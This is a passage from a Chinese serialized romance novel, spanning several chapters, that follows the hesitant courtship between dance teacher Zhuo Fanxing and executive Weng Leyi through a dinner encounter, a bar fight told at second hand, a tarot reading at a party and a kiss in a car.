他一个人絮絮叨叨,说了一会儿又安静了。翁乐仪明白他这是睹物思人了,不打搅他,在边上静静陪着。 “哎呦,这是你周岁的时候,我都忘了怎么回事儿了,哭的跟花猫一样。” “这是我们一家去海边,你在沙滩上堆沙子,还一定要把捡的贝壳在土里种着,后来那一块儿再没生过草了。” “这是你第一次学自行车,这车现在好像还放在库房里。” 柳姨进来的时候,探头看了一眼,说:“睡了?” 翁乐仪点头:“睡了。” 他把他手上的相册拿开。“还早,就让他在沙发上躺会儿吧。” 柳姨说:“那我去拿床毯子来。” 自从奶奶去世,老人家头发就不染了,现在满头银发。 翁乐仪记得以前太阳好的时候,奶奶总爱在院子里给他染头发。她手巧的很,给他衣服罩上,再给自己戴上手套。翁乐仪就坐在板凳上看他们两个人拌嘴,一个挑剔,一个不乐意,他在边上咯咯的笑。 这与他父母截然不同。 他在两种风格的婚姻交融下长大。即便父母无法相守,也着实称的上体面。这使得他既没有似电视上演的那样对婚姻彻底悲观,从此变成不婚主义者,也没有保守似他父亲一定要寻个爱人规规矩矩的结婚。 这样说来,他似乎还是更像他母亲。 不过他还是太过慢热,而在这事上若没有一些热情与执着,往往是很难有个结果的。 不知是好是坏。 当初在国外,并非没有有意向的姑娘。只是在他腿出事儿后,连他自己都过的稀里糊涂,尚且接受不来。 他实在不想面对那姑娘关心外加羞愧的眼神。又不是只有他们两个在车上,且虽是她开的车,但她完全不是肇事之人。他实在怪不到她身上。 一切只能怪他倒霉。老天的安排。 初初萌芽的感情遭遇凛冬,还没开花就迅速枯萎。他很少记起她,如今因为卓繁星又令他免不了回顾起来。他想找些应对的经验,然而实在匮乏。 第二天郊外别墅。蒋濯衣请了亲朋一道来,阳光明媚,正适合用下午茶。 蒋濯衣喜欢布置屋子,在美国也买了这样一块地。她尤其喜欢看着房子建起来,再修整土地设计花园。 这栋别墅先前被作为画展秀场使用过,租金不菲。不过如今设计大改,凸显家的温馨来。 这与她的风格实在是差异很大。 俞秋华来看过一次,很喜欢这样的风格,这才有家的感觉。她一直觉得这个姑奶奶就和风一样,不定性。 同俞秋华一样感受的还有蒋濯衣的朋友。“你是要回归家庭了么?”搬到圣地亚哥的时候买了一座农场,不知怎么风格就越走越偏。 “艾米,我很难跟你形容。自从乐仪出事后,我就有种愧疚感。”蒋濯衣抱臂看着院子里坐在阳光下的孩子们。 朋友安慰地拍了拍她。“别太内疚,这是意外。” “我知道。” “乐仪有女朋友了吗?”今天蒋凌洲带了一个女孩儿来,还有一个女孩儿也很出挑。她说起,蒋濯衣笑道:“那是许筠。他们从小一起长大的,没可能。” 她突然笑起来。“他在这方面像他爸爸,不像我。” “这是好事儿啊。起码不会叫女孩子们伤心。” 保姆阿姨上了鲜榨的橙汁,林灿很喜欢,她喝了之后会去亲蒋凌洲。 陈跃忍不住吐槽:“我觉得你们要秀恩爱可以进屋里去。” 翁乐仪难得多看了几眼,说:“我不介意,你有种吃不到葡萄说葡萄酸的心理。” 陈跃气笑了。“你还好意思说我。你自己赶紧带个姑娘来吧。要不是一道看过片,我都怀疑你是不是直——” 翁乐仪塞住了他的嘴。 蒋濯衣笑着坐到他边上,对林灿说:“你喜欢喝这个橙汁?” “嗯。”林灿大方地点头。 “等下叫阿姨给你拿些回去。” 林灿特别喜欢这个美丽又温柔的阿姨,可比蒋凌洲的母亲好多了。尽管只见过一面,对方嫌弃的眼神她至今都记得。 林灿与她交谈起来,说:“阿姨那边的空地是想种什么?” “建个花房吧。我本来想种橘子树的,我在圣地亚哥种了一片橘园,可是京市太冷了,不适合种。你们什么时候回美国,有空的话可以去我那边玩一玩,就当度假。” 橘子,又是橘子。 翁乐仪有些不耐烦地皱了皱眉。 陈跃在起居室找到他,敲了敲门。 “他们说去泡温泉,你去不去?” 翁乐仪看了一眼乐谱摇头。“你们去吧。” “你怎么了?”陈跃走近。 翁乐仪弹了一段音乐,手指拿着铅笔在乐谱上划了两笔,终究看他。“如果,我是说如果,有个姑娘主动亲了你,可是她后来没有再理会你——这是什么意思?” 陈跃一下愣住,随即捂住嘴,夸张地后仰。 眼见着翁乐仪脸上杀气越来越重,他摆手,憋笑。“好,好,不好意思,我实在忍不住。” “你可以滚了。”他低下头。 “现在是连我有一个朋友都不用了么?” “什么意思?” “没什么意思。”陈跃凑近。“所以,你今天一直摆着个臭脸是为情所困。” “我没有为情所困。” “好好好,你没有。”他叉着手问:“所以那姑娘是谁?” 翁乐仪沉默。 “我好奇也很正常吧。何方神圣能让你沦落至此。Y市认识的?所以现在是那姑娘亲了你,但是她不认账。” 翁乐仪觉得这样说很难听,斜挑眉眼看他。 “你喜不喜欢她?这是关键,你要是不喜欢肯定无所谓了。你都这样问了,指定喜欢她。” 翁乐仪辩驳:“我不知道——或许不喜欢。”他低着头,重新弹曲子,只是连他自己都不知道在弹什么。机械僵硬,像是只要忙起来了,就可以骗过自己的脑子。 他为什么要喜欢她。 她曾经当着他的面对凌洲表白。所以还是那个问题:她为什么要亲他? 陈跃看他死鸭子嘴硬,点头附和,心里暗爽。 “那你就别纠结了。” “我没有纠结,我只是觉得奇怪。” “好,随你。”他摆手。“那你去不去泡温泉?” “不去——还是去吧。”翁乐仪把琴盖合上,他不想让自己显得太奇怪。 微信里果然还是没有任何消息。 第29章 ◎她逃他追(三)◎ 这日出门的时候,邵丽丽问她晚上聚会来不来。 “什么聚会?” “洪旺请客吃饭。” 卓繁星系鞋带的手顿了下。“我晚上跟别人约好了。”她庆幸提前有约了,给了她一个正当的拒绝理由,不然她真怕自己控制不住说要去。 她觉得自己现在就像在走钢丝,既怕面对他,又忍不住想见他。经历了多天的沉淀,她的脸皮好像变厚了,惧怕逐渐减少。可等她真的看见他,她又会忍不住想逃。 还好她答应了嘉嘉爸爸的邀约,还好,还好吧。 只是出门的时候还是忍不住失落,或许他没有那么排斥,不然为什么之后要加她微信。 这样的感觉一直延续到饭桌上,导致她兴致缺缺。好在齐帆只认为她是上课累了,并叫嘉嘉不要粘着她。卓繁星自觉羞愧,打起精神坐在嘉嘉旁边。 餐厅装修有些日式风格,巨大的落地窗可以俯瞰新区夜景。周末的座位基本都满了,不过这家餐厅走高端路线,安排的位置本就不多。人们坐在餐桌上,或交谈或拍照,声音细不可闻,似乎都不想引起注意。 齐帆看见翁乐仪的时候压着领带说了声不好意思,碰见上司了他得上去打声招呼。繁星看他起身过去,和正挤眼睛的邵丽丽对了个正着。 她看见翁乐仪往这儿看了一眼,又好像是她的错觉。嘉嘉在她边上说要吃冰淇淋,她转过来,拿叉子插着面包稍微刮了一点递给她,叮嘱道:“爸爸说不能多吃,这是最后一块了,知不知道?” 孩子很听话,珍惜地舔着面包上的冰淇淋,卓繁星摸了摸她的脑袋,想转头再偷偷看一眼,邵丽丽已经走到她边上了。 “你这是什么约啊?”她看了眼嘉嘉问她。 卓繁星说:“是我的学生,之前帮过几次忙,所以家长请我吃顿饭。”当时她是推辞的,但是孩子在边上抱着她的手臂摇,她就没好意思拒绝。 “那妈妈呢?”她凑到她耳边问。 卓繁星摇了摇头,她立刻明白了,单身爸爸,对上嘉嘉看过来的眼睛,她亲切地她打了个招呼。 “你们怎么在这儿吃?”卓繁星问她。 “我也不知道,洪旺订的。”她说着往后看了眼。“还真巧,孩子爸爸是翁总下面的经理。” “你不过去打个招呼?” “不去了。” 邵丽丽搭着椅背挑了下眉毛。“那你晚上吃完饭怎么安排?” 卓繁星说:“我等下直接回去了。” “行吧。”邵丽丽说:“那你走之前跟我说一声,咱们一起回去。” 齐帆回来了,同她简单介绍了一下翁乐仪。“没想到你朋友和他认识。”卓繁星嗯嗯应着,心不在焉。 手机上邵丽丽发过来信息:【这单身爸爸对你有意思。】 【我觉得这样一比还是翁总好。当后妈很累的!】 【再想想】 【他一直看你哎。】 【好像吃醋了。】 卓繁星本来心思就乱,现在更是乱成麻了,发了个打人的表情包,叫她闭嘴! 翁乐仪的位置正好能看见卓繁星的背影。她边上坐着个孩子,偶尔给孩子拿纸巾擦脸,齐帆则是脸上带笑看着她们两个。 想到早晨公司里,办公室八卦说齐经理晚上有约,开会的时候,他还扫了一眼齐帆身上的粉色领带和抹了发油的头发。后来茶水间,随意问了句,他说就是他女儿的舞蹈老师。 没想到会是她。 他惊讶于他们的缘分,即便她推拒了邀约,依然出现在了他面前。 卓繁星那儿结束的时候,邵丽丽让她直接坐电梯到地下停车场去。 齐帆听她说了就没硬要送她,离开的时候和她加了微信。 卓繁星到了停车场等了一会儿,邵丽丽还没下来。她打电话过去,电话刚通一转身就看见翁乐仪从电梯上下来。 “喂,喂,繁星。” “在,你人呢?” “我晚上住洪旺那儿,翁总刚好要回去呢,他送你。人已经下去了,你看见没?” 卓繁星咬着牙问:“你什么意思?” 她在那头嘿嘿的笑。“给个机会么。到家给我发个信息。挂了啊,拜拜。” 卓繁星喂了一声,翁乐仪已经走到她跟前了。 “不用麻烦你了,我坐地铁回去就行。” “上车。”他没多话,当然脸上也没笑容。 时间才七点多,正是夜生活开始的时候。和外头的热闹的相比,车里太过安静,连开车的司机都忍不住看了好几眼。 后座上,卓繁星捏着手,食指上被掐出好深一个印子。 到了小区大门口,她说我在这儿下就行。司机停好车,她开门下来,就听那边他和司机说:“你回去吧,不用等我。” 卓繁星看着他走过来,是不敢对视的,看了一眼视线就往下落到地上去了。 “还有事儿吗?” 翁乐仪说:“我加你微信为什么不通过?” “你有加我微信吗?我可能没看见。” “电话也没看见?” 卓繁星顿觉头皮发麻,视线里的男士皮鞋已经往另一边走了。 “翁乐仪——” 他转头看了她一眼,繁星瞬间噤声。 小区门口的这条街基本都是吃的,还有一家超市,卓繁星经常光顾,十分方便。然而这都不是重点,重点是翁乐仪要去哪儿? 卓繁星在又走过一家水果店后,鼓足勇气开口,他已经抬脚进了隔壁的门面。她看着招牌上的淮南牛肉粉丝汤陷入了短暂的沉默,然后乖乖跟了进去。 店里不足二十平,一共就摆了五张桌子。卓繁星一进去就闻到了浓浓的牛肉汤味道。 “美女吃什么?”老板兼厨师,舀着大勺子问她。 “我不吃,我朋友——”她点了点翁乐仪,坐到他那张桌子上。 “翁乐仪——”她纠结了半天开口,结果他一抬眼又叫她偃旗息鼓。 “我很饿,等我吃完再说。”他终于开了尊口,卓繁星小小松了口气,可这口气没有松太久。因为沉默只会更加尴尬。 尽管周围的桌子坐了三个人,厨房里的锅炉咕噜咕噜的响,空调外机的排风扇嗡嗡嗡的吹,卓繁星却仿佛被隔绝了一样,十分沉寂。 她低着头,在觉得实在无事可做后,抬头的瞬间看见翁乐仪在看她。 她有种被审视的惊慌感,相比于她,他要自然许多,起码他没有慌慌张张地挪开眼睛。 幸好老板的出餐速度很快。 卓繁星第一次这么喜欢听这种高亢的大嗓门。“我来。”她几乎是瞬间弹起来跑向取餐的吧台。只恨这家粉丝店太小,要是再长一点就好了,她想直接通过它的后门跑回家。 端好汤,她又去消毒柜里拿筷和勺。 翁乐仪接了个电话,看见她的动作,抽个档口轻声说句谢谢。 电话里的交谈是她听不懂的语言,她猜是德语,毕竟他曾经去德国留学。这通电话不算短,卓繁星因为这个,终于能好好欣赏他。 这还是头一次她想从他身边逃开。 如今他不再关注她,她反而能恢复以前的习惯。 翁乐仪今天穿的偏正式,风衣里面是白色衬衫加黑色毛线衫,本就生的清隽,要是带副眼镜,更添几分斯文。 察觉到她在看他,翁乐仪看过来,卓繁星瞬间被打回原形。 他挂了电话,说:“你不吃吗?面很多,你拿个小碗分一点。” “我不是很饿。”卓繁星下意识就拒绝,然后很快就后悔了——不如跟着吃一些,干看着更加突兀了。 她只能翻出手机来,期待有新的消息,即便没有,看看新闻、看看xhs,总之能让自己看起来有事可做就好。 翁乐仪好像真的很饿,动作看着斯文,可其实很快。卓繁星想他方才没吃什么菜么。是不是太辣了,他的嘴巴都红通通的。 她注视的太久,让翁乐仪不得不看她。 “我去买点水果。”她跳起来。 “我马上吃好了。” “就在旁边。”她争取道。 他思考了下说好。 卓繁星撩开塑料门帘出来,长出一口气,胸口跳的厉害,急需冷空气压一压惊。 她浑浑噩噩地进了水果店,然后心不在焉地提着一袋橘子结账。翁乐仪诡异地停顿片刻,然后去结账。 “不用,我自己付就好。”她慌慌张张地拿了一个出来给他:“吃一个,清清口。” 翁乐仪忍不住又将她从头到尾看了一遍。 “你把橘子皮扔这儿吧。”她把手里的袋子展开,已经有些破罐子破摔的意味,耷拉着眉眼,浑身上下都透着一股任人揉圆搓扁的可怜劲儿。 翁乐仪终于开口了:“那天的事——” “是个意外。”卓繁星接的很快,扬起脸,带着抱歉的笑。“实在不好意思。” “不好意思?” “嗯。”她又低下头。 翁乐仪觉得多年前被戏弄的感觉卷土重来,他看向远处,眉宇压的很低,足足过了十秒钟才开口:“你的意思是那天你必须要和一个人接吻,而我恰好在那儿,是吗?” “还是你不小心解开了安全带,不小心拉住了我,然后扑上来——” 卓繁星的脸涨的通红。他还不肯放过她。“抱歉,我从你话里理解的就是这样。” “如果是这个意思,那你的确需要和我道歉。” 这是卓繁星第一次领会到翁乐仪的刻薄,她觉得自己肯定是把他美化了,他在她的记忆里分明十分温柔且善良。 “是这样吗?”他还没有停。 卓繁星说:“所以你也可以推开我。”她涨红的脸削弱了一些气场,然而这并不妨碍成为绝杀。 翁乐仪迅速缄口。 卓繁星这下没有躲开他的目光了,甚至转化为一种轻描淡写地蔑视。 “你说的对。”翁乐仪转身离开。他觉得不该这样,这不是什么很有意思的事。 第30章 ◎她逃他追(四)◎ 下个周末,卓繁星在洪家别墅遇见了洪旺。他今日回家用餐,正与繁星撞上。 他实在难得来一次,卓繁星上次因为角度问题没看清他脸,不曾想他们早就遇见过。 “卓小姐就是Bella的舞蹈老师。”他也很意外。 卓繁星点头,说多谢陈太太信任,还因为陈太太与她家老板的关系。她上月上任,如今不过是第二个月。 洪旺有意与她多聊几句,陈女士已经惊诧地走了过来。 他将如何相识一事简单说予她听,她不免感慨:“要不说Y市是个小地方呢,这样都能遇见。” 她眼神在他二人之间来回打转,势必要在里面看出一点名堂。 “要不留下来用饭?”她头一次这样开口,卓繁星自然吓得赶紧推拒,匆匆离开。 洪旺自然也要将这事说给翁乐仪听。“没想到还有这样巧的事,她竟在我家中兼职。” 他自是不知晓翁乐仪早遇见过她,更不知他们以前的事。见翁乐仪反应十分平淡,他又问:“她的微信你加上了没?” 这正戳在翁乐仪痛处上,他不屑于撒谎,因为撒谎更会引出令人想入非非的话题,他势必要继续问下去。而讲实话,又实在有些难堪,遂沉默。 洪旺何等人,情场浪子,男女之间的事他只肖一观便知。他不屑地笑了一声。“有些女人最会玩欲擒故纵的把戏。”他知晓翁乐仪的性格,是在给他打预防针。不要被这些小伎俩骗去。 “你想多了。” 他耸耸肩。“我听我那继母讲是首都舞蹈学院的高材生,这类人都有这样的毛病。实则不过如此。ok,我不讲了。”他接收到翁乐仪的眼神,抬手作罢。 “你若喜欢这类我再给你找来,你见过了就知道不过如此。” 翁乐仪说:“大可不必。” 他一副包在我身上的架势。这之后便寻机约他去酒吧聚会,势必要让他重拾信心,把某个不知好歹的女人抛在脑后。 过了几日,卓繁星突然听邵丽丽讲翁乐仪在酒吧打了人。她惊诧之余,还被告知那人就是钱琦正。 “酒是喝多了的。不过我看翁总根本就是清醒的。”她抱臂靠在楼梯扶手上同她讲。“钱琦正这种男人最没品了,你后来没理睬他,他说你假清高,说你以前大学的时候就知道勾引富二代。你说这种人是不是沙比。” “好巧不巧,酒吧里碰上,位置就在旁边。他自己几杯黄汤下肚,没脑子了,嘴巴不干不净,抱着个女的喊你名字,玩上cosplay了,你说恶习不恶心?” 她没讲那天,那个沙比掐着那美女脖子,说:“你叫什么名字?” 美女说:“我叫卓繁星。” 钱琦正还要笑,说:“不,你不是。卓繁星可是首都舞蹈学院毕业的,你会跳舞吗,来,劈个叉看看。” 那美女穿个包臀裙黑丝袜劈不下去,他一下火起来把她拎起来叫她劈。“你不是卓繁星么,卓繁星会劈叉啊。当时剧组里我可见着呢,劈的两条腿啊,老长老长呀。” 好么,这句话说完,翁乐仪拎着啤酒瓶就给他脑袋上开了瓢。这个沙比反应过来之前,翁乐仪已经把他按在位置上揍了好几拳了。 翁乐仪虽然腿脚不好,但是耐不住出其不意加力气大。不过钱琦正那帮损友也不是吃干饭的,要不是洪旺在,事情还不知道怎么样呢。 “脸上被打了一拳,还有手臂上不知被哪个沙比敲了酒瓶子,被玻璃划伤,不过还好啦,不严重。” 邵丽丽讲完见她心神不定,分明关心的很,哪是真的没意思,推她一把道:“他家世不一般。众鑫你总知道吧,他爷爷的名字你去查,国家院士,众鑫就是他爷爷一手创立的,营收千亿。哪是钱琦正好比的。” “洪旺同我讲,他如今不过是下来镀金,以后整个公司都要交给他的。不光是这个,他妈那边也是不得了的。” “他分明对你很有想法啊,这次也是为你打的。洪旺说你连他微信都没加,真是这样?你不如加了微信去问问他伤,关怀一下。” 邵丽丽可惜的很,对着她她是一点嫉妒都没有的。“我都给你讲了,你好好想想吧。总归,他人是不差的呀。” “还有那个钱琦正你赶紧把他删了,这种男人最没品了。”她上楼时候想起来了赶紧补充。 卓繁星打开微信,好友申请早就过期了,她又去找先前的通话记录,找出他的号码一搜,就是微信号。好友申请发过去,却是石沉大海。 她想谢谢他,可上次不欢而散,显然他觉得没必要再与她联系。 又一次在洪家碰见洪旺后,卓繁星试图问明他的情况。 洪旺的眼神有些玩味,显然翁乐仪对面前这个女孩儿不是轻飘飘一句猎艳能概括的,这让他势必待她郑重起来。 他说:“没什么大问题,就是手上缝了几针,月底就好拆线了吧。” “你与他联系过吗?” 卓繁星诚实摇头,事实上她还打了电话,可没人接。就像她之前对他做的一样,他通通报复回来,或者他觉得没必要。 “我想谢谢他,麻烦你转达一下。” “好。”洪旺应的干脆,在她要踏出门的时候说:“后头晚上我请几个朋友到家里来玩,你要来吗?可以和Lily一切来。”《 》 30-40 第31章 ◎她逃他追(五)◎ “你不是叫Eva吗?”卓繁星问邵丽丽。 邵丽丽白了她一眼。“爱称懂不懂。我觉得Lily真的很好听啊,我本来就叫丽丽嘛,真不懂当时杰米哥怎么想的。” 她最近和洪旺显然在蜜月期。“他是我交往的人里面学历最高的,读了美国的文科博士和一个法律硕士。”她啧啧感叹,要知道她都不是正儿八经的高中毕业。难怪说要多读书,到底是不一样的呀。 卓繁星说:“不要有学历滤镜。” 邵丽丽翘着新做的指甲,睇她:“拜托,我现在听他在我旁边讲英文,我都眼冒红心。上次他带我去个酒会,他们交谈都用鸟语的呀,我虽然听不懂,但是我的心跳的波波快。回去我就把他扑倒了呀。” 她没讲她在那边就忍不住了,借口上厕所把人拐到卫生间,狠狠亲了一通。 卓繁星快笑晕了,一面又觉得她坦诚的很可爱。“你不是会讲日语。” “我那是在居酒屋打工的时候学的,就那么几句,哪里算会。” 卓繁星觉得那个洪旺就是个花花公子,换女友对他来讲就和换件衣服一样简单。邵丽丽这样迷恋他,令她有些担心,她讲起他来有些春心萌动的味道。 “你之前不是说要拜托钱琦正帮忙,后来出了事有影响吗?” 邵丽丽讲:“他那边肯定是指望不上呀。不过这又不赖我,他自己嘴贱。为难我是没有的,就是他自己丢了面子,谁叫我那天在呢,我现在又和洪旺一道,他肯定也不想看见我。” “没事啦,有得有失嘛。圈子里都是拜高踩低的,洪旺也介绍了好几个朋友给我认识,都是手里有资源的。不过其实我也在想,要不要不混圈子了。” 这倒是新鲜事,卓繁星经常听她讲的就是资源,认识圈里的某某人,想红,甚至还去改名字,如今竟然说不混了。 “怎么突然这样想?” “哎。”邵丽丽叹口气。“我知道自己几斤几两啦,年纪也不小了,你知道的呀,二十五岁都是老人了。杰米哥说我人傻脾气大,情商太低,开直播都没人看。我以前年纪小,傻兮兮地真信那个榜一大哥约我吃饭就是吃饭,结果差点进局子吃牢饭。” 说起来就很心酸啦,不过邵丽丽还是被自己逗乐了。 “所以有文化是真好,还是要有文化啊。我就是吃了没文化的亏,不然怎么同期的一个大学生就顺利钓到高富帅,现在做富太太去了呀,什么都不用管了。” 卓繁星觉得她的思维特别跳跃,因为经历不同,即便无法认同,却不会急于反驳。 “洪旺说介绍我去一家公司上班。” “上什么班?” “就是那种小的设计公司吧,做做后勤、前台接待。不然呢,我能做什么啦。”她有些烦躁地抓了抓头发。“我还没想好呢。” 到了聚会那天,卓繁星在头一天晚上就想好了要穿什么——白色的圆领毛衣加同色百褶长裙。如果是平常,她会将裙子换成裤子。 仅仅这一点心思,在邵丽丽面前也无处遁形。她戏谑地看了她一眼,直把她看的不自在。“怎么了?”卓繁星只能装作不知道地问。 “没什么。”她笑的古怪,摆摆手说特别好,随后又给她来了点香水,芬芳的气味正合了它的名字——无人区玫瑰,有一种流浪中不羁的美。 然而到了洪旺就家中,却被告知翁乐仪有一场商务晚宴,他今天不回来。 “真的是商务晚宴?”邵丽丽在边上问。 洪旺表示千真万确。 “怎么这么不巧。”邵丽丽替卓繁星可惜。卓繁星不想让她担心,她今天来其实也就是确认一下他的情况,其余的还有什么,什么都不会有的。他们上次那样争执过,其实不见面才是最合适的。 来的人有洪旺的两位男性朋友,一位是历史学家,另一位是极小众的职业,木雕师父。他的女友也来了,两人反差极大,女友叫Luna,身高腿长,直长发齐刘海,十分飒酷,是位珠宝设计师。 卓繁星感慨洪旺交友之广泛。她性格慢热,这些人虽性格各异,但并非要拉着你交谈的人。反而是慢悠悠听他们聊天,掺杂些许学术问题。卓繁星听不懂,也领会到了邵丽丽的意思,和这些文化高的人一道,难免会生出一些自卑来。 酒过半巡,Luna提议玩塔罗牌。 洪旺说:“又来了,这是她日常项目。我必须提醒一下你们,她前几次给我测的根本不准,甚至可以说完全颠倒。” Luna白了他一眼,表示她近来感觉自己的能量越来越强大,这是一种需要感知,充盈内心的精神上的东西,与他完全说不通。 翁乐仪进来的时候,洪旺有些惊讶。“还以为你不来了?” “那边提前结束了。”他淡淡应道,脱下身上的大衣去了厨房。洪旺跟过去,在厨房门口同他交谈了几句,然后扭头问:“有谁要喝莫吉托?” Luna举了手说一杯,随后催促卓繁星:“来吧,抽牌吧。” 卓繁星有些慌张地抽出三张牌,依次打开分别是:圣杯侍卫、恋人与圣杯二。其中恋人是逆位,其他皆为正位。 Luna开始分析。 “圣杯侍卫。”Luna的指尖点在这张牌上说:“这是一张传递信息的牌,代表着纯净的情感讯息与心灵的馈赠。它描绘了你的过去——唔——”她适时地顿了下。 “我从这张牌里看到你有一段持续了多年的、小心翼翼的暗恋。你就像这位侍卫,怀抱着圣杯,守护着这份未曾言说的情感,既虔诚又带着一丝不安。” 卓繁星在她说出暗恋的时候呼吸都停了一瞬,她圆溜溜的眼睛看她,十足的警惕,像怀里藏着金子,她怎么一眼就看透了。她分明将它藏的很好。 邵丽丽问她:“准吗准吗?” 卓繁星当然只有沉默。 Luna的眼睛看着她就像探照灯一样,可她并没有为自己辩驳,而是接着分析下一张牌。 “接下来是恋人逆位。”Luna的声音顿了顿,多了一丝审慎。“这张牌……依然代表着一次强烈的、命运性的相遇。你们确实相遇了,那一瞬间的吸引力真实不虚。但是,逆位的‘恋人’往往预示着这段关系面临着考验。它可能意味着错误的选择、沟通的障碍,或是来自现实层面的阻力。” “谢谢。”她突然停顿。原来是翁乐仪将调好的酒放在她面前。 他在卓繁星的斜对角落座,这意味着如果不刻意去看,可以不用与他有任何眼神的交汇。 这对卓繁星并非什么坏事。她只能尽量自然地让余光看向他。 Luna喝一口酒说:“你在遇见他后心动不已,却也伴随着深深的不安与恐惧,你害怕这美好的联结之下隐藏着无法逾越的鸿沟,或者,这本身就是一个美丽的错误。” 翁乐仪的手指握着一只透明的玻璃杯,里面浮动着许多冰块,还有翠绿的薄荷叶。 那一定很冰吧。 卓繁星不经意扫过他的脸,脸上的伤口应当已经愈合了。 “最后,圣杯二。”她的声音很高亢,让人不由自主地追随。 “这是一张正位,是好消息。它代表着和谐、平等与情感的共鸣。出现在‘未来’的位置,它似乎在说,只要克服了‘恋人’逆位所提示的障碍,彼此的心意依然有共鸣的可能,通向联结的道路依然是敞开的。” 结束后Luna大喝一口酒,很享受地打了个嗝,感叹道:“我钟爱小翁的莫吉托。” “好啦,就是这样。非常好的牌。还有人要来吗,还有吗?我感觉我今天的能量只能再算一次了哦。”她眼珠看向翁乐仪。“要不小翁来吧。你给我调酒,我给你算命,怎么样?” 翁乐仪浅笑了一下,表示拒绝。 木雕师傅喝多了酒开始敲鼓,那种坐着拍的小鼓,十分有节奏感。翁乐仪呆了一会儿,去了厨房。 Luna对他要求再来一杯。 卓繁星进去的时候,翁乐仪叼着烟,另一只手夹着薄荷叶,听见声音扭过头,眉心微蹙,表情算不上友好。 卓繁星说:“菜吃完了,我过来看看有没有什么下酒菜。” 他按灭烟头,打开冰箱,拿出一盒青芒条,叫她拿过去。“告诉Luna只有这些,别再吃了。” “你上次受伤好点了吗?”卓繁星趁机道。“还有,谢谢你。我没联系上你——早就应该说的。” 一番话说的磕磕巴巴,如果翁乐仪能给她一个更好的脸色的话,她会觉得这是一次非常成功的会晤。可他只是看着她,冷淡又礼貌地说了一句没事了。 这时候的礼貌可不是什么好词,它意味着生疏、客气,反正不是卓繁星所期待的。 可她期待什么呢?她期待的东西难道真的能像最后一张塔罗牌显示的那样么。 她才是那个拎不清的人。 想通了这点,她便对自己为何要来这场聚会而感到后悔。如果不想让翁乐仪对她的印象再加一个反复无常的话,她还是离他远点的好。 终于熬到聚会结束,邵丽丽却选择留下来过夜。她无辜地醉倒在洪旺身上,对翁乐仪说:“那就拜托翁总啦,一定要将繁星安全送回家呀。” 翁乐仪一上车便闭目睡去,很疲惫的样子。 卓繁星在车里闻到了清楚的酒味,这在他身上是十分陌生的。翁乐仪没有喷香水的习惯,难得的几次靠近,她闻到的是他身上衣物洗涤剂的香味。 啊,除了最近的一次。那次她只能闻到橘子味了呀。 她突然想到自己今日出门前喷的香水,低下头嗅了嗅,似乎早已消散。 卓繁星后来也睡了过去。她平常这个点已经在梦里了。 去她家的路要横穿半个市区,她是为了什么要这样奔波过来。入睡前,她这样想。可是她闭眼前还是忍不住看了一眼身边的人。 卓繁星醒过来的时候先是懵的——外面是她租住的小区,她在车里,车子停下了,司机不见踪影,她靠着一个温暖的身体。 “翁乐仪。”她试探叫醒他。 翁乐仪终于睁开眼睛。 “我到家了,司机好像走了。我另外给你叫一个代驾。” 她拿出手机,终于觉出奇怪来,又抬头——他果然还看着她。 “你——” 他的手指下一秒就落在她唇上。 很轻柔地抚过,随后从下唇转到上唇。 卓繁星躲开后,他的手指顿在空中,随后又固执地伸过来。 卓繁星只能握住他的手。 视线在黑暗中交织,可是他们都能看清彼此的眼睛,里面有一盏小灯,烧的很亮。 卓繁星感觉自己的呼吸都停顿了,在找回的瞬间,他握着她的手压上来,鼻子贴住她的。 抵近的呼吸将他身上清冽的酒香清晰地传递过来,卓繁星听见他的声音,低沉的带着薄荷的气息。 “你也可以推开我。”他这样说。 【作者有话说】 注:塔罗牌的部分内容为网上搜集资料,娱乐观看 第32章 ◎她逃他追(六)◎ 卓繁星第一次知道他是这样一个记仇的人。连这句话也要报复回来。 他的唇在她嘴唇上擦过,一触即分,却更加缠绵。激吻时或许可以归咎于荷尔蒙,可这样慢条斯理的亲吻,让人连一丝失控的理由都找不到。 像是试探一样,又在她唇上轻轻碰了碰,沿着手指抚过的路线。 密闭的空间,黑暗的环境,放大的呼吸和心跳。 其实翁乐仪远不如他表现的那样淡定,如果不能归咎于酒精,那他现在在做的事是什么,向她求爱? 是,她没有推开他,可她也没有主动抱住他,就像之前他在车里对她做的那样——在她亲上来的瞬间就抱住她,吻回去。 不是像现在这样,只知道看着对方。 他突然后撤又坐回原来的位置,卓繁星好像终于能呼吸到了足够的空气,大喘了一口气。 上帝的视角看来,他们各自望着窗外,手却牵在一起,像偷情的男女,总之无论如何,似乎都与禁忌脱不开关系。 那是要压抑的欲望,如同沸腾的岩浆聚集在火山口,不安、躁动。 卓繁星看向他。翁乐仪微低着头,侧脸没在黑暗的光线中,她看见他微亮的眼珠。 窗外不知何时下起了小雨,细密的雨丝落在车窗上,一点一点,将街边的广告牌、路灯留下的影子晕出一片模糊的颜色。 连绵不绝的窸窸窣窣的声音,是令卓繁星觉得安心的白噪音。尽管心如擂鼓,她却不愿离开。她能感受到那并非惊慌、不安的情绪,而像萌芽的种子,破土而出,顶着土壤,发出的动静。 那让她觉得一种痒,带着微微的愉悦,一种酥酥麻麻的感觉。 它一点一点的在她几乎干涸的心湖长出来,仿佛一种奇迹。她或许从未想过会与他还有这样的际遇。 窗外的雨,他们坐在车中,仿佛被隔绝了一样。 终于,对面行驶而来的汽车将车内照亮,尽管只有一瞬,也让卓繁星恍然。 她挣开他的手跳下车,迎着小雨往家走。 她的外套上沾的湿淋淋的,没有帽子的缘故,头发上也是一片潮湿。她在淋浴器下站着时,感觉就像方才淋的雨。她的心被弄的潮湿一片,躺在床上时,怎么入睡也不知道。 邵丽丽从洪旺处打听来翁乐仪出差了。 “听说去的法国,我们聚会第二天就走了。” 卓繁星哦了一声。 “你们微信加上没?” 卓繁星看了她一眼没有马上回答,她立刻就懂了,笑道:“加上了啊。”然后很快提要求。“让我瞅瞅。” “没什么的。”卓繁星想遮掩过去。 “让我看看嘛,我欣赏一下大名鼎鼎小翁总的微信。拜托,满足一下我的好奇心嘛,他看起来超高冷。” 卓繁星被她软磨硬泡还是给她看了。她一打开就惊呼。“天啦撸,你们两个加上后不聊天的吗!” 她把微信界面伸到繁星面前,好像是她的手机一样。 上面孤零零一条验证消息:我是翁乐仪。 卓繁星第二天早晨起来收到的。她在加上时试图说些什么,或许问他昨天几点到家的,有没有不舒服?可是想想太过暧昧,她还是作罢。 “你们两个真的是在搞对象吗?” “并没有呀。” “才怪咧,他明明对你有意思!可是你也太迟钝了吧。还是你们两个在互钓啊,比谁耐力强!” 她认真思考了一下这个可能,沉思道:“难道你们才是真正的高手?” 